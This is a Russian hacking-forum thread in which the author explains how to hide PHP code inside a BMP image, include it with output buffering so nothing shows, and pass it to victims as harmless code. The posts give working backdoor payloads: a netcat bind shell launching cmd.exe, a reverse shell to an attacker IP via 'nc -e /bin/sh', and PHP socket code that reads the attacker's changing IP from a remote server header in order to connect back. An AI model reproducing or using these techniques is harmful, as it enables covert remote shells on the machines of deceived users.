php - скрываем начинку

Discussion in 'Статьи' started by Talisman, 17 Mar 2007.

Thread Status:
Not open for further replies.
  1. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Статья по большей части западло, т.к. приватных секретов не рассказываю, а рассказываю только клевые фичи :)))
    для затравки советую прочитать 2 статьи (если еще не прочитали):
    /thread23432-php+%F2%F0%EE%FF%ED.html
    и
    /thread20386-netcat.html
    Прочитали? ну тогда дальше:​


    почему меня она не устроила? слишком мало раскрывают вкусностей :( - причем не раскрывают очевидных :) а именно - маскировка пшп кода.
    О примитивных методах я уже писал - /thread27118.html - но это не совсем то, о каком методе расскажу сейчас.
    чем плох тот? ну... э... тем, что антивирь все равно найдет такой код, покрайней мере его подкрасит, а человек, просматривая сорец найдет его 99%, а наша цель спрятать от человека, т.к. мы впариваем "почти" безобидный код! типа - нака, зацени мое творение! :D
    Наша задача засунуть пшп код куданибудь подальше, так, чтобы юзер ничего даже не заподозрил! Где будем ныкать? ну например в картинке :) тут вы можете возразить, мол типа - неоткрываемая пикча подозрительно! ан нет) смотря как редактировать. Вот например - зацените пикчу:
    [​IMG]
    http://slil.ru/24095350 - "боевой" файл в формате бмп (имаджшак ужимает в .png)
    в чем накол? на глаз незаметно, а загляните-ка в хекс-редакторе и проматайте в самый низ, удивило, правда?
    [​IMG]
    в самом начале можно заметить еще и встроеный алерт) зачем он, поймете дальше.
    итак, врятли антивирь да и пользователь, точнее наивероятно не будут так палить пикчи а это нам на руку )))
    PHP:
    <?
    include(
    'test.bmp');
    ?>
    но, о черт! нам в браузер вылазит и алерт, и пшп инфо, и самое обидное - весь остальной бред вида ")&$"
    нет... это не то, что нам нужно. думаете забить? нет, не забьем, вспоминаем про функции "кеширования" вывода:
    PHP:
    @ob_start();
    include(
    'test.bmp');
    @
    ob_end_clean();
    вуаля! в браузер ничего не выводится. теперь думаем, накой я просил прочитать про неткат? а вот зачем - на сокетах кидаем бекконнект, и усе))) да много что - цели добились, кода не видно)
    Но! это еще не все) с тем же успехом мы можем сныкать экзешник :)
     
    7 people like this.
  2. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Пряники)

    Вкусности, для начала солененькие :)
    PHP:
    <? system('C:\nc\nc -l -p 31337 -d -e cmd.exe -L'); ?>
    теперь немного вкуснее:
    локально:
    nc -l -n -v -p 80
    в код:
    nc -e /bin/sh 10.31.3.37 80
    тоже солено, скажете вы? ну чтож, а если айпишка кулхацкера динамическая? подсластим раствор:
    с помощью сокетов или fopen открываем файл на удаленном сайте с нашим айпи, к которому будем коннектиться. думаете юзать GET, так? а нафиг читали вот это: /thread35180.html ???
    конечно же юзаем метод HEAD )
    итак, код серверного сценария:
    PHP:
    <?
    header('Root: 127.0.0.1');
    ?>
    единственной строчкой с полезной нагрузкой мы выставляем ответное поле хедера - наш айпи, теперь что сунем в контейнер кода - нашу пикчу:
    PHP:
    <?php
    // открываем сокет на хост: локалост и на 80 порт (стандартный веб)
        
    $fp fsockopen('lamo.my'80$errno$errstr30); 
        
    // Проверяем успешность установки соединения
        
    if (!$fp) echo "$errstr ($errno)<br />\n"
        else
        { 
          
    $headers "HEAD /server.php HTTP/1.1\r\n"// отвечает за тип протокола!
          
    $headers .= "Host: lamo.my\r\n"
          
    $headers .= "Connection: Close\r\n\r\n"
          
    // Отправляем HTTP-запрос серверу
          
    fwrite($fp$headers); 
          
    // Получаем ответ
          
    $line='';
          while (!
    feof($fp))
          { 
            
    $line .= fgets($fp1024); 
          } 
          
    fclose($fp); 
        } 
        echo 
    $line;
    ?>
    естественно, вместо просто вывода инфы наподобие:
    выдираем нужный айпи, и коннектимся к нему.
    насчет элементарности - согласен, только 1 вещь - это модель, лучше конечно юзать отксоренный участок кода пикчи (конечно, с оговорками - мы не должны получить "лишнего кода") :) но, как говорится, все гениальное просто :)
     
    2 people like this.
Thread Status:
Not open for further replies.